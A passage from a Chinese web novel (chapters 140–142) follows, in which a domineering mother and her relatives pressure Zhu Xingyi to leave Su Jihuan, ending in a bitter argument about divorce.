偏她那个傻女儿被哄得团团转。 三日后，苏芙帮忙把行李搬到苏寄欢家里。 “四姨，你那间屋子已经整理好了。”苏以薇从楼上下来拍拍手说。 苏菱的屋子不在别处，就在苏寄欢和祝星亦的屋子中间。 苏菱还在厨房站着，她环顾厨房的厨具，想到她女儿每天都要给祝星亦那个女人做饭，便气愤得牙痒。 从遇到祝星亦开始，苏寄欢就跟着了魔似的付出，掏心掏肺，把自己也交了出去。哪怕祝星亦无情地背叛她，她竟愿意和祝星亦结婚。 多么傻的女儿，多么可怜的女儿，被一个可恶又无情的女人哄得失去了理智。 晚八点，苏寄欢到家后便看到苏菱等人坐在沙发上冷眼看着对面的女人——一声不吭的祝星亦。 “你们怎么又来了？”苏寄欢脱掉西装外套没好气地走过去，“今天来有什么事？” “苏老师，苏阿姨她……不……”祝星亦咬咬牙，顶着苏菱的目光坚持地开口：“咱妈要住进来。” 第140章 你放过我女儿吧 苏寄欢知道苏菱打的什么主意，无非是想方设法逼两人分开。 这种幼稚的手段在各种电视剧小说里出现了无数次，她扫了眼一脸愠色的苏菱，没多说什么，直接喊祝星亦上楼。 “寄欢，我住进来你没有想说的吗？”苏菱见苏寄欢带祝星亦上楼，出声阻挡二人的脚步。 苏寄欢侧过身子，刺眼的顶光描着她的轮廓，白衬衫像一层薄薄的雪盖在她身上，在空旷的别墅客厅里投下淡漠的虚影。 之于她来说，身为一个实干的理想主义者，除了梦想与爱，没有什么是不可失去的。 “你们喜欢住这里那就住，我不住了。” 苏寄欢说完便快速踩着楼梯走上去，被落在后面的祝星亦和远处的苏菱几人怔了许久才明白苏寄欢是什么意思。 苏寄欢要搬出去。 三十分钟后，收拾好东西的苏寄欢带着行李下楼，祝星亦跟在她身后走几步停下。 苏菱挡在楼梯口凄厉地吼着：“苏寄欢，你当真要和我作对！我是你妈妈！” 祝星亦站在苏寄欢身后往外挪了一步，撞上苏菱阴狠的视线后慌忙退了半步。 她不是害怕面对长辈，她只是害怕面对苏寄欢的家人。 祝星亦知道自己在世人眼中是什么样的，即便网络上的人把她做过的事当玩笑谈论，也抹不去她是劣迹艺人的事实。 在那些玩笑背后，多的是对她所做的事痛恨无比的人。而那些奔着她名气跟她合作的人，单纯是为了消费她。表面和和气气，背地里讥讽嘲笑。 她可以坚持地面对这些，只要她够坚强，她完全可以跨过那些坎。可她伤害苏寄欢的这道坎，无论如何都迈不过。 苏寄欢的家人，她更迈不过。 掌上明珠被她伤害，换作任何人都不会原谅她。更何况，苏寄欢是整个苏家的宝贝。 “所以我不是让你随便住吗？”苏寄欢往下走了一阶阶梯，她没有退让的意思，像一头孤身行进的孤狼，毛发里敛着一簇簇雪花。 很快她突破苏菱的阻拦往外走，伸出手臂护着祝星亦走出门。 身后的苏菱还在吼着：“祝星亦，如果你真的有一点点良心，你就该离开她！你到底知不知羞，你到底要缠我女儿缠到什么时候！” 初夏的风漫过麓城的城市上空，行李的滚轮声在地面上异常清晰。 祝星亦垂头紧握着行李箱把手跟着前面的苏寄欢走，她害怕苏菱会像电视剧里演得那样，愤怒地冲过来把她的行李丢掉，还对她羞辱万分。 苏寄欢的声音忽然穿过嘈杂的怒音落在她耳畔—— “不要听，跟我走。” 祝星亦仰头，白衬衫西装裙的女人像一座巍峨的山，又像张开羽翼的大鸟，挡在她身前把她牢牢护在怀里。 祝星亦紧抿着唇嗯了声，跟着坐进车里驶向她家。 名存实亡的婚姻，也不是一无是处。 “到家了。”一个小时后，祝星亦打开大平层的房门。 比起苏寄欢的别墅，这个大平层看起来有些局促，但两个人住288平实在幸福。 祝星亦弯腰拿出崭新的拖鞋放在地上，苏寄欢穿好，脚下的地垫上印着一只火红的狐狸。 身前的坏狐狸笑着说：“欢迎回到我们的家。” 和之前一样，苏寄欢睡另一间房。来者是客，祝星亦匆匆忙忙收拾完那间房让苏寄欢住进去。 她不知道苏寄欢要在这里住多久，简单洗漱完见苏寄欢在客厅沙发上坐着，怀揣着心事走过去。 “你什么时候回去？”祝星亦问。 苏寄欢抱着电脑处理着工作，声线低沉：“等这件事结束。” “什么事？” 苏寄欢：“她们不接受你这件事。” 祝星亦愣了会儿。 她对苏家人接受她不抱什么希望，她确实不知道如何让苏菱她们真正地认可自己。 现在她的身上已经被盖上了无法洗掉的蓝色印戳，所有的辩解都是无力的挣扎。 “如果她们永远都不接受我呢？”祝星亦跟着坐下。 苏寄欢敲字的手顿住，片刻，她抱着笔记本起身，“不要想这么远的事，另外你不要忘记我和你结婚是为了什么。” 她偏过头瞄了一眼没什么精神的祝星亦，快速合上笔记本：“好好工作，早点休息。” 祝星亦一夜没睡好。 躺下来，脑子里不停复盘这些天的事。苏菱的苛责，苏寄欢对待苏菱的冷漠，还有字里行间“这段婚姻只是因为合作”的陌生感。 她以前不会被这种小事绊住脚，因为那时候她觉得失去什么都无所谓。 而现在她什么都不想失去。 人总是贪心的，以前她想要走上神坛，现在她想让苏寄欢看一看她。 祝星亦在床上翻来覆去到3点多还是没有一丝丝睡意，她没再继续翻腾，起身开门走出卧室寻水喝。 月光从初夏的夜里漏出绵柔的光，祝星亦懒得开灯，赤着双脚摸黑去客厅接水。半杯凉水喝进肚，本就毫无睡意的人更精神了。 目光瞥向阳台，落地玻璃窗关得严严实实，苏寄欢坐在阳台的椅子上，指尖的猩红忽明忽暗。 皎洁的月光忽然变得惨白、凄寂，像殡葬时撒下的纸钱飘落在苏寄欢身上。她侧脸冰冷冷的弧度滴着水，一旁白日开得正盛的绣球花蜷着瓣儿。 她忽然转过头，祝星亦躲了下，身子埋在漆黑的客厅一角。 祝星亦想到苏寄欢先前说的话，以后的事以后再说。 看似轻松的语气和毫不在意的状态，原来都是骗人的。 烟雾缭绕片刻，苏寄欢掐灭了烟。眼见着苏寄欢起身，祝星亦弯着身子匆匆回卧室轻关上门。 门扉合拢，祝星亦趴在门上听外面的脚步声。 她与苏寄欢的房间隔了一个客厅，互不打扰，疏离得很。 脚步声越来越近，忽然在门前停下，祝星亦格外留意。几秒后，脚步声渐行渐远。 门一开一合，世界归于沉寂。 是她想多了。 // 祝星亦早上开会跑神儿时被白澜提醒了一下，祝星亦低声说了句抱歉，手指移到投屏的ppt上继续讲解[苏盛]和[星闪]合作的第二部剧的规划。 第一部剧已经在筹备拍摄，是一部年代悬疑剧，《一张纸牌》。剧本是祝星亦买的一部小众网文，改编和拍摄的工作交给[星闪]这边，[苏盛]负责招商。 浑浑噩噩过了一上午，祝星亦坐在办公室，手指放在键盘上许久，一个字也没打出来。 敲门声唤醒了她。 “进。” 周娅走进来坐在办公桌对面，祝星亦随意整理了一下头发问：“有什么事吗？” “你早上跟我说中午来开会的。”周娅愣了一下说，“两个小时前你也提醒了我一下。” 鼠标胡乱移动几下，祝星亦才注意到自己两个小时前给周娅发的消息。 “哦，就聊一下《纸牌》这个剧本，刘编改编过后我又稍微修改了下，你回去看看有没有什么疑问，或者不满意的地方。”祝星亦收起魂不守舍的状态开始进入工作模式。 当年在《外乡人》剧组结识周娅之后，祝星亦没想到会在后来再次遇到周娅，并把她签在自己手里。 周娅是祝星亦签的第一个艺人，也是未来无数部短剧里祝星亦指定的女主。 不为别的，只为感谢周娅陪她度过艰难的海外岁月。 当时[星闪]在海外注册后，招演员困难，签艺人也困难。小小的[星闪]工作室里的人一个人身兼数职，祝星亦又当导演编剧又当道具师，周娅一天还要拍两部剧。 好在短剧拍摄起来没那么复杂，但那段时间到底是怎么熬过来的，祝星亦自己都忘记了。 周娅翻看了两下《纸牌》的剧本，点点头：“嗯，我最近在读原著，今天晚上有直播活动，我等看完原著，忙完就读一读。” 周娅靠[短剧女王]小火之后，祝星亦为她接了许多通告。但这个头衔有个弊端，短剧在多数人眼中是上不得台面的影视作品，短剧演员也不会像电视剧电影演员那样受人尊重。 前些日子周娅作为热门的短剧女王和一些艺人参加了一个综艺，无论是聊天还是游戏，周娅和其他公司的两个短剧演员被明显排挤。 一些没什么演技也不敬业光靠年龄成为[前辈］的人，用所谓的[专业态度］点评短剧演员，并给出高高在上的评价——短剧演员太劣质。 周娅在节目里任由人指指点点，回来没说什么。她性格便是如此，温温吞吞，没什么锋芒。 从群众演员到短剧女主，她珍惜她的演艺事业，也知道她在明星如云的圈子里只是渺小的一个艺人。 她如履薄冰，祝星亦不乐意。 可业内的鄙视链便是如此。 从前演员看不起流量爱豆，电影演员看不起电视剧演员，导演编剧这类人高演员一等，资方们又…… 高高在上的人永远高高在上。 现在苏寄欢已经成为最顶端的人，踩谁一脚都可以。 祝星亦嗯了声：“好，好好照顾自己，别太累了。” 周娅犹豫许久，轻轻把厚厚一摞剧本放在桌子上：“祝总，你最近状态很不好，是不是因为那些舆论？” 从[星闪]跟[苏盛]合作之后，祝星亦的黑料又席卷全网，跟[星闪]合作的[苏盛]也被牵连其中。 舆论环境太差，本要打算和[星闪］合作的资方又开始持观望态度。 周娅佩服[苏盛］在这样高压环境下还能继续与[星闪］合作。 不过……她更佩服苏寄欢。 哪怕全社会的舆论施压，苏寄欢依旧不放弃和[星闪］合作。 她没见过这样的人。 或许，只有祝星亦才会遇到这样的人。 祝星亦收回目光，鼠标在各类文件上游移。 片刻，摇摇头：“不是。” 是不是因为苏菱女士？ 周娅想说出这句话，但在看到祝星亦被发丝盖住的伤痕及时收声。 这是她们的事，她不好插嘴。 周娅离开后，祝星亦双目无神地盯着电脑屏幕。 直到祝霜的电话打过来，她才移动了下身子。 “妈妈？怎么了？”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 140-150 第141章 把我女儿还给我 祝霜是少有的晏氏一事知情人，虽然祝星亦并不想让她知道。 祝星亦从上高中起便很少跟祝霜讲自己的事，比如学生时代遭遇的所有不公平和霸凌，又比如踏入职场后遭受的挫折。她总是会收起所有的负面情绪笑着跟祝霜说，妈妈，我很好，我挺好的。 因为她知道，即便她说出这些事，祝霜也没有能力帮她解决。 祝霜除了在黑夜里睡不着难过，再也做不了别的了。祝霜能做的事只有尽心尽力把祝星亦抚养长大，送她去麓舞上大学。 后来的路，都是祝星亦自己走出来的。 关于晏氏一事，祝霜得知真相后并没有失声痛哭，她只是眼角流着眼泪平静地问孟律师，我女儿还活着是吗？ 得到肯定的答案后，祝霜笑着说：“那太好了，我希望她慢慢养病，我也会配合你们帮忙保守这个秘密。谢谢你们，也谢谢星星，她没有辜负我的期盼，她是一个很勇敢的人。” 祝星亦知道祝霜偷偷哭了很多次，但母女俩心知肚明。 一个不说自己受了多大的委屈，一个不去主动问。 相互懂得，不需要太多煽情的语言。 沉默就是最好的宽慰。 电话那头的祝霜说自己下个月有空回岭州一趟，问祝星亦有没有什么想要带的东西。 祝星亦想了想，她没什么想要带的。从回国之后她便一直忙于工作，只和祝霜吃过几次饭。 “妈妈，等你从老家回来，我们一起做豆米火锅好不好？”祝星亦想来想去最终有了食欲，“你回老家买点花芸豆，我家里有炉子，到时候你带安安过来，我们一起吃豆米火锅嘛。” 祝霜答应了，又絮絮叨叨说要再带点其他东西。她说祝星亦已经好久没回老家看看了，工作太忙，连母女俩吃饭的时间都没有。 祝星亦笑着说：“妈妈，麓城也是我们的家，只要一家人在一起，哪里都是我们的家。” 挂断电话后，她嘴角的笑意没有像涟漪一样很快消散。和妈妈聊聊天，人都会放松很多。 但她忽然想起了苏菱。 她想起苏菱对她所有的指责，苏菱指责她害了苏寄欢，伤了苏寄欢，耽误了苏寄欢。 身为苏寄欢的母亲，苏菱一心一意为苏寄欢好。 就像祝霜一样，也在一心一意为祝星亦好。 母亲不希望女儿受伤，祝星亦当然知道这些。 可是……可是…… 工作的邮件发来，她摇摇头，选择性忽视这些问题。 逃避可耻，但是有用。 更何况……苏寄欢也在逃避。 次月祝霜回岭州时趁祝星亦有空打了个视频电话，她抓着摊上的一把红芸豆念叨这个豆子以前有多难煮。 祝星亦难得休息一天，懒懒地歪在客厅沙发上跟视频里的祝霜说：“现在有电压力锅，方便得很。” 祝霜拧着眉毛说：“是啊是啊，以前家里也有，但那种老式的高压锅我怕得很，只能费劲煮。” 祝星亦笑她胆子小，马上炫耀自己六七岁时，钥匙忘在屋子里，她跟猴子似的翻墙去开门。后来邻居家的钥匙忘家里，她又去翻墙开门，邻居过多少年都忘不掉这事。 说着，母女俩笑了起来。 想起那时年幼的祝星亦不知愁为何物，现在的祝星亦眉眼里都是化不开的愁怨，祝霜笑得两眼泪花。 她优秀的女儿受了太多罪。 祝霜随意跟祝星亦聊了两句，瞥见阳台处有一个黑影，小心辨认了会儿问：“星星，苏小姐怎么……” 纤长的眼睫颤动了下，祝星亦坐直身子避开苏寄欢，“哦，她和她妈妈吵架了，就搬过来住，她睡客房。” 祝霜对孩子和家长闹矛盾很敏感，慌忙跟祝星亦说，要她好好劝劝苏寄欢，“我听说她妈妈去年到医院住了几个月，身体也不好。苏小姐比你大8岁，怎么还和小孩一样和家长闹矛盾。” “嗯，我劝劝她。”祝星亦答应祝霜好好劝苏寄欢。 临了祝霜又说：“星星，我们这一辈的家长都这个年纪了，身体多多少少都有点问题，万一哪一天小病大病上来，人说没就没。做孩子的少让我们操点心，我们也就知足了。你一定要好好劝劝苏小姐，别不把她妈妈的身体当回事。” “好，我知道了，我会劝劝她。”聊完挂电话，祝星亦垂着眼沉默片刻，视线落在正在忙碌的苏寄欢身上。 她什么也没说，只是安静地看着苏寄欢的侧影。 许久她起身走过去问：“苏老师，我妈妈月底会来咱家，我和她一起做酸汤豆米火锅，如果你有空的话，要不要一起尝尝？” 苏寄欢点击电脑右下角的时间日期，淡淡道：“有空的话我会尽早回来。” “好。”祝星亦告知完折回沙发上坐下。 敲字的女人速度慢了下来，似乎是想听祝星亦再说些什么。 但耳边只有轻微的聒噪。 窗外是7月。 暑夏到了，麓城的蝉鸣又躁动起来。 // 祝霜早早带着些食材去祝星亦家，还带着安安一起过来。到家后，祝霜先把芸豆煮上，随后开始清洗其他食材。 彼时祝星亦还没有下班，收到祝霜发来的记得买点新鲜牛肉的消息后通知苏寄欢早点回来。 惦念着美味的酸汤豆米火锅，祝星亦魂不守舍，好在也没什么要忙的，她跟白澜交代了些工作上的事，匆匆忙忙开车去买牛肉。 到超市后，苏寄欢回了她的消息——【我晚一点回去，你们先吃】 祝星亦：【好，你先忙】 挑了些牛肉后，祝星亦发消息给祝霜。想必祝霜在忙，没有及时回复，她便开车直奔家。 等到了小区楼下的停车场，安安打电话过来。 祝星亦快速按下接听键，安安那边还没说什么，忽然挂断。 奇怪。 想着也到家了，祝星亦拎着买回来的上楼。 走到家门口，手机震动，又是安安打来的。 祝星亦挂断电话打开门进屋，却看到黑压压一片的人，288平的房子竟然在这一刻显得如此局促。 咔嗒一声门阖上，几十双眼睛看向她。 祝星亦的眼睛有些花，视野中心只有两个女人，一个祝霜，一个苏菱。 除此之外，是苏寄欢的亲人们，那些她见过没见过的人像一颗颗豆子散落在客厅每个角落。 祝星亦数不清有多少人，三十几个？四十几个？还是更多？ 安安被挤在最边角，她看祝星亦回来了，在那些人警惕的视线里匆匆忙忙赶过来小声说：“姐姐，她们是寄欢姐姐的亲人，她们刚刚……” “安安，你先出去帮我买点东西，就在附近的超市。”祝星亦催促安安快离开。 安安的话被祝星亦的摇头堵住。 等安安走后，祝星亦站在两个沙发中间。 她低头看着祝霜，她的母亲，只上过小学却能尽心尽力抚养她，好好栽培她的农妇，在这群光鲜亮丽的高知妇人群里显得那么脆弱无助。 “我已经跟你妈妈聊过了，她育女无方，教出你这样不知羞耻的女儿是她的责任。”苏菱微微仰着下巴淡声道，这副姿态，和苏寄欢冷漠时的姿态一模一样。 “祝霜女士，你也是一个母亲，倘若你的女儿为一个女人受伤受到未来只能靠药吊命，一次一次受伤，一次次付出却得不到回报，你会让她继续和你女儿在一起吗？你的女儿是宝贝，我的女儿就不是了吗？”苏菱的话题忽然转向祝霜。 局促地坐在苏菱对面的祝霜垂着头，她本能地想为自己的女儿辩解什么。 她的女儿不是不知羞耻的女人，她的女儿是坚强勇敢的人，可她无法再解释这些东西。 苏菱起身，一步一步向祝星亦走来，“我不想听你用什么理由再试图说服我，比如你爱她。” “你爱她？她缺你那点爱吗？雅雅从小在爱里长大，我们把最好的东西全都给了她，她是我们苏家的明珠，是我们所有人掌心的珍宝。祝星亦，你问问你自己，你给她多少，我们给她多少，你还大言不惭地说你爱她，你的爱是廉价的！”苏菱身旁的女人冷笑一声，那是苏寄欢的二姨，苏荷。 又一个贵妇人抬高声音指责祝星亦：“寄欢在家里十指不沾阳春水，她是我们的小公主，是我们宠爱的宝贝，却在你面前当起了保姆。你是个什么东西，你也配她对你好？她不缺爱慕者，不缺追求者，她这么美好，却为你吃尽了苦头。” 八年前的拜师宴会上，这些人笑容满面地与她说话，后来的除夕夜，她与长辈们话家常，也和一些平辈度过了快乐的跨年。 而现在她是她们的仇敌，是伤害她们宝贝的坏人。 祝星亦知道在这种情况下，低头妥协是她最该做的事，可她无法让自己接受辛辛苦苦成为[星闪]ceo，却无法继续和苏寄欢在一起的遗憾。 她应该坚定一次。 她必须坚定一次。 “我懂你们对我的憎恨，我也知道我确确实实伤害了苏老师。但我已经在用我的实际行动去证明我的诚意，我想好好补偿她，我想……”祝星亦颤着声音说着，被苏菱冰冷的声音打断。 苏菱凄哀地说：“你不懂，你真的不懂，你不懂身为一个母亲的苦心和悲戚，你不懂自己的宝贝被别人糟蹋的气愤，你更不懂作为寄欢的妈妈，我眼睁睁看着她为你一次又一次身陷火海的心疼。倘若你有一点点良心，你都不会再朝她迈近一步。” “可是我再怎么心疼你也不懂，你不是一个母亲，你没有女儿，但你有妈妈，你妈妈应该会懂。” “她给你的东西，我不要你还，我允许你和[苏盛]合作。但是，请你从我女儿身边离开好吗？我求求你，我求求你。” 忽然，一声震耳欲聋的扑通声在祝星亦面前响起。 苏菱跪了下来。 “四妹！” “姐！” “四姨你干什么呢！快起来啊！” 祝霜跟着想去阻止什么，被一群人严严实实挡着。 任凭所有人去拉苏菱，苏菱跪着一动不动：“我跪下来求求你不要再伤害她不要再缠着她了，你离开她好不好，我求求你，你离开她好不好。你当年做过的事所有人都记得清清楚楚，你是一个无情的背叛者，你无法改变所有人对你的看法，我们也不会再去试错。我的寄欢，她不能再受一次折磨了，她不能再被你伤害辜负了。” “她不听我的话，她要跟我决裂，她要为了你跟所有的亲人划清关系。” “祝星亦，你把我女儿还给我好不好。” 苏菱的眼泪和那些人的眼泪一起落下，随后是此起彼伏的骂声。 “祝星亦！你非要把我们都逼死吗！” “你为什么缠着她不放！你究竟要害她害到什么时候！” “把寄欢还给我们啊，还给我们！” 这群妇人和各位千金小姐身上的宝石配饰像太阳一样闪着祝星亦的眼，她忽然想起年幼时第一次仰头直视毒辣的太阳短暂失明的那一刻。 人们喜欢太阳的温暖、伟大、明亮，也要承受她的刺眼、毒辣和灼烧在皮肤上的痛。 许久之前她在异国的病床上醒来，她发誓她要坚定地挽回她的爱人。 她以为一步步从素人爬上去、远渡重洋回归是在跨过艰难险阻走向爱的人。* 却忘了世间种种，多的是跨不过去的坎儿。 她低着头，像苏菱一样扑通一声跪下。 她说：“对不起。” 她说：“我把你们的宝贝还回去。” 第142章 我们离婚吧 苏寄欢发消息说有事要处理的时候，祝霜这边已经把肉下进了炉子。 安安坐在祝星亦身边一声不吭，她从超市回来时，屋子里那些人已经离开，姐姐和妈妈莫名地安静。 她想问些什么又觉得不该问，只能安静地坐在祝星亦身边。 踌躇许久，安安问：“姐，我们不等寄欢姐姐了吗？” 祝星亦这才拿起筷子把调好的蘸水拢到面前。 炉子里的汤底咕嘟嘟冒着热气，最先下的肉已经熟了，祝霜垂着眼给两个女儿夹了肉。 “不等她了，我们先吃。”祝星亦沉静地夹着肉就着蘸水吃了一口。 一周前她跟苏寄欢说祝霜会到家做豆米火锅，还会带着安安来。 苏寄欢随意地说：“你都说了多少次了，来就来，这里又不是我家。” 祝星亦敲敲自己的头软声说：“啊？我真的说了很多次吗？我以为我就说了两次。” “起码五次。”苏寄欢翻了两页剧本侧头看祝星亦，挑眉道：“不知道你这是什么毛病，冬天要吃冰激凌，夏天吃火锅，你的胃是反着长的吗？” 祝星亦马上坐起身子跟苏寄欢拌了几句嘴，两人嘻嘻哈哈的样子好像一切都没发生过。 那时她觉得两个人平和的对话就是不幸中的小幸，现在看来，那已经是最幸福的事了。 她闷头吃祝霜不停往她碗里添的菜，黏糊糊的汤汁浇在白米饭里，浓郁的豆香混着祝霜做的腊**齿留香，豌豆尖稍稍烫一下，吃到嘴里鲜得很。 只是蘸水沾着眼泪吃太咸了。 苏寄欢很晚才回来，早早听说她吃过饭了，祝星亦也没有多留什么饭。 “我妈说，等你得闲了再过来做一次。”晚上十一点多，祝星亦站在客厅里跟刚回来的苏寄欢说。 苏寄欢嗯嗯两声，她忙得很，晚上忽然被客户拉走吃顿饭又出去玩了一圈儿，磨破嘴皮子说家里做好饭了，还是被拉走了。 “其实做这个应该不难，只是阿姨可能做得更好吃，空闲下来的话，我来做就好，虽然你可能已经吃腻了。”苏寄欢解开衬衫领带换了拖鞋。 祝星亦蚊子般嗯嗯两声说：“以前在家里会常吃，如果你做的话，我想味道会更特别。” 苏寄欢没有直接承诺什么时候可以做好，这件事放心了她就会好好记着，看祝星亦还在原地杵着，低声说了句要去休息便回了屋子。 一些话不知道该怎么说出口，但一定会说出口。 祝星亦脚步往苏寄欢门前走了几步，想到苏寄欢忙到那么晚听到一些东西应该会有点恼火。 但她也不是很确定苏寄欢会恼火。 苏寄欢也许是开心。 这段婚姻本来就是为了利益，本来就是祝星亦自己逼得苏寄欢为了利益才找到的最佳解决方案。 但是自己不缠着苏寄欢的话，苏寄欢应该会很轻松。 晚点吧，明天。祝星亦对自己说，晚上不适合谈这些事。 她转身回房，走了两步瞥到桌子上面出现一个花花绿绿的袋子。 这个袋子应该是苏寄欢带回来的，刚刚一直在想事情没注意。 窥伺欲促使她走上前去扒开袋子。 祝星亦盯着里面的东西愣了会儿，过了十多秒，她才把里面的东西拿出来。 是四荤一素的盲盒。 苏寄欢向来不喜欢这些东西，只有祝星亦喜欢。 她沉默地拆开盲盒，像八年前那样在第一个盒子里便拆出了隐藏款。 她运气真好，每次都能开到隐藏款。 拆开所有盲盒，手背上的泪珠蜿蜒成刺骨的河流。 那时不懂什么叫时过境迁，现在才明白，每一场潮湿的雨都会应景地落在人生各处的角落。 她蹲在地上捂着嘴哭。 暑气要退了，蒸腾的夏日缓缓向后走去。 她马上被阳光穿透。 // 一夜没睡好。 祝星亦在第二天十点多起来，刚醒，苏寄欢的消息从手机里弹了出。她回了两句，对方拨通了语音通话。 “苏老师，怎么了？”祝星亦问。 苏寄欢：“你今天没上班吗？” “哦，没有，身体不太舒服。” “怎么了？” 祝星亦搪塞了几句，说可能是昨天吃火锅吃多了。 那边传来低低的笑意：“你的胃已经对你大热天吃火锅提出了抗议。” 祝星亦附和两句，苏寄欢让她好好休息。 晚上苏寄欢早早下班。 “你好点了没，上午给你点的药你吃了吗？”苏寄欢把包放好，问刚从卧室出来的祝星亦。 祝星亦一天没去上班，穿着睡衣头发有些乱。她小鸡啄米般点头说：“好多了。” “这几天不要吃油腻辛辣的东西，先养一养胃。” “嗯。” 苏寄欢洗了洗手稍微收拾收拾去做饭，却见厨房里已经在煮着晚餐。 真是令人惊喜。 晚餐都是苏寄欢爱吃的菜，但她一般晚上吃得较少，吃太多不好消化会让她难以入睡。 本想象征性地一样吃一口，但她不想扫祝星亦的兴，大口大口吃了起来。 看对面的人一直没动筷子，苏寄欢吃了两口停下来说：“你怎么不吃？菜里有毒？” 祝星亦笑笑说：“我不饿，你先吃。” 苏寄欢给她夹了一筷子菜继续吃饭。 用完餐，苏寄欢看天还早，提议去附近公园散散步。 祝星亦坐在客厅沙发上平静地开口：“苏老师，你妈妈昨天来找过我了。” 苏寄欢一愣，快步走过来问：“找你干什么？” 祝星亦没吭声，苏寄欢很快意识到什么，“她是不是又说乱七八糟的话了？祝星亦，她说什么你都不要听。” 她说完便有些气愤地抿着唇，苏菱对这件事揪着不放，即便她跟苏菱说得再明白也没有用。 她也怪自己，她想不出来怎么解决和祝星亦的事。她无法放弃祝星亦，也无法真正地原谅这个伤害自己的女人。 这种畸形的惩罚是在惩罚祝星亦，还是在惩罚自己，她到现在也分不清了。 自诩能解决所有问题的她，在面对祝星亦的时候，总是涌出一股强烈的无力感。 她对这个女人实在没办法。 “我，我再想想办法，你先不要管这些事。”苏寄欢攥着拳头转过身子，想了好久才说：“明天开始我送你上下班，让她没有找你的机会就好。” “苏老师，我们现在就把一切说清楚好吗？”祝星亦冷静地开口，她觉得她不能再拖下去了，今天是苏菱给的最后期限。 苏寄欢嗅着这句话里有什么不对劲的地方，回头问：“什么说清楚？” 祝星亦没有抬头看她，安静地说：“苏老师，首先这段婚姻本就名存实亡，你与我是靠利益才绑在一起。所以以后离不离婚无所谓，但我真的……我累了。我坚持不下去了，我也觉得挽回这段早就碎了的感情实在没必要。” 无所谓，没必要。 这些词堆砌在一起好像强调了同样的答案。 苏寄欢快步朝祝星亦走了过去，她盯着祝星亦无神的双眼问：“你什么意思？” 祝星亦惨淡一笑：“苏老师，我累了，我不想再去追你，我也不想和你继续保持这段婚姻。你可以跟我离婚，也可以因为要合作选择不离，但我希望你马上从我家搬出去，和你妈妈和好。” 耳朵里一阵轰鸣。 苏寄欢偏着头愣了许久，她有些自嘲地笑笑说：“你的意思是，因为我妈说了那几句话你就放弃了？” “几句话？呵，几句话……”祝星亦不知道自己在想什么，可能是这日子苏菱施压太大，也可能她真的对这种关系感觉累了，忽然冲苏寄欢吼了起来：“你怎么大言不惭地说只是因为她说了几句话？她找我麻烦又侮辱我，你把这些东西当几句话？” 她指着自己的胸口抬高音量：“苏寄欢，我也是人，我也有尊严，但现在问题是你们全家人把我的尊严踩在脚底下。你又不爱我，你每天那样对我还要我对你热脸贴冷屁股吗？” 说完这些，祝星亦好像是被点燃了什么。经久积压的怨气在这一刻全都撒了出来，她走向阳台指着落地窗外的夕阳，歇斯底里地喊：“苏寄欢你真的觉得我很闲吗？我要忍受你的冷漠，我还要忍受你家人的侮辱，我更要忍受整个社会的舆论压力，我很累我真的很累，我真的不想在解决自身问题的方面还要被你家人被你羞辱，我真的累了。” “你总觉得是我在缠着你挽回这段关系，我现在不缠了，我不缠了好不好。我放过你，你也放过我。” “我不是一个精致的漂亮娃娃，我有感情我有情绪，我听你妈说你是家里的宝贝我就觉得很无语。你是家里的宝贝我就不是了吗？我就非要被她骂被她奚落，然后被你随意指指点点吗？” 苏寄欢听着这些冷笑出声：“祝星亦，难道不是因为你活该吗？是你自己做出那种事，你现在又想推卸责任，你是疯了吗？” “是啊，我是疯了吗？”祝星亦看苏寄欢这么指责她，蓄积的眼泪奔涌出来。 以前的苏寄欢不会这样对她，一点点难听的话都不会说，重逢之后，苏寄欢说的话一句比一句难听。 她知道是自己做错事在先，但晏氏一事是逼不得已要保守秘密，而首先做这件事的是她自己，是她要为了苏寄欢想着要打倒晏氏，是她为了心爱的人才要去做的。 现在她的脑子思绪混乱，她觉得她为苏寄欢做出这么多的牺牲——被推下楼、被毁前程、被全世界指责谩骂很委屈。 她实在太委屈了，她当时觉得为一个那么爱她的人做这些事很值得，但现在来看，面对一个已经不爱她的人，她无法那么伟大地说出“我自食其果也心甘情愿”。 那么多的压力堆在她身上，她不是神，她实在疲惫，她已经好久不知道什么是快乐。她每天都活得好痛苦，她真的不想再这样下去了。 解决不了，她什么都解决不了，苏寄欢也一直在逃避，但到底什么时候才能柳暗花明？ 祝星亦嗤笑一声，眼角的泪滴落下来：“是啊，我就是疯了，如果不是你们，哪里会出现我这个疯女人。所有人都在逼我，所有人都在指责我，你是全世界瞩目的明珠，我就是阶下囚吗？我就是长在烂泥巴里的杂草吗？” “祝星亦，你还在这里委屈上了？”苏寄欢胸膛剧烈起伏着，“你自己做错了事你还要别人捧着你吗？你以为你回来说两句好听的话就能让我忘记过去发生的一切吗？你说这要弥补我，说是要挽回我，可你除了嘴上说说你还做了什么？” 祝星亦想到这些便气愤地出声反驳，她难道不想好好挽回吗？可是苏寄欢的反应是什么？苏家一家人的反应又是什么？所有人都在让她离开苏寄欢，她又能做什么？要她再一次向苏菱下跪吗？要她继续被道德绑架接受良心的谴责吗？ 两个人一旦翻起旧账，便忘记了所有甜言蜜语。她们在客厅里吵了起来，像两个不认识的陌生人，最后所有的语言在祝星亦摔碎桌子上的花瓶里停下。 苏寄欢望着这样的祝星亦觉得太过讽刺，是她惯着这个人才让她变成这副模样。 永远觉得自己没有错，永远都轻易地抛下她。 争吵发泄完怒气之后，她失望地质问祝星亦：“所以，所以你要再一次放弃我，是吗？你因为受不了这些压力，再一次放弃我，对吗？” 沉默就是默认，苏寄欢咬着牙抓紧祝星亦的肩膀提高声音：“祝星亦，你又一次放弃我，又一次！为什么？究竟是为什么？为什么我每一次都不能是你坚定的选择？” “我什么都不要，我什么都可以给你，我只希望你能够坚定地选择我一次，可为什么我每次都看不到？我总是你最先放弃的那个人，对你来说，坚定选我一次就那么难吗？” “我可以顶着舆论和你合作，我可以暂时放下以前的种种接受你，我也可以和我的家人决裂和我的朋友决裂。我即便和全世界作对都没有关系，我只要你坚定选择我这一个小小的请求，为什么你总是做不到，为什么你要一次一次又一次这样伤害我？祝星亦，我活该的吗？！” “祝星亦，我恨你，我好恨你。我别无所求，我只求你像我爱你那般爱我，哪怕只是一点点都足够了，可你连这点都做不到。我好恨你，我好恨你。” 祝星亦攥着拳笑着流眼泪，有些讽刺地说：“苏寄欢，你当然不害怕和全世界作对，你也不害怕和你的家人决裂，因为即便你这样做了，所有人都会站在你身边，你的家人还是会一如既往地爱你，可我不是。” “你做这些选择那么轻松，可你知不知道，我在向前走的每一步都是如履薄冰，我根本没有试错的机会。” 苏寄欢讥嘲：“是吗？所以你又要怪我了，是我造成的这一切吗？” 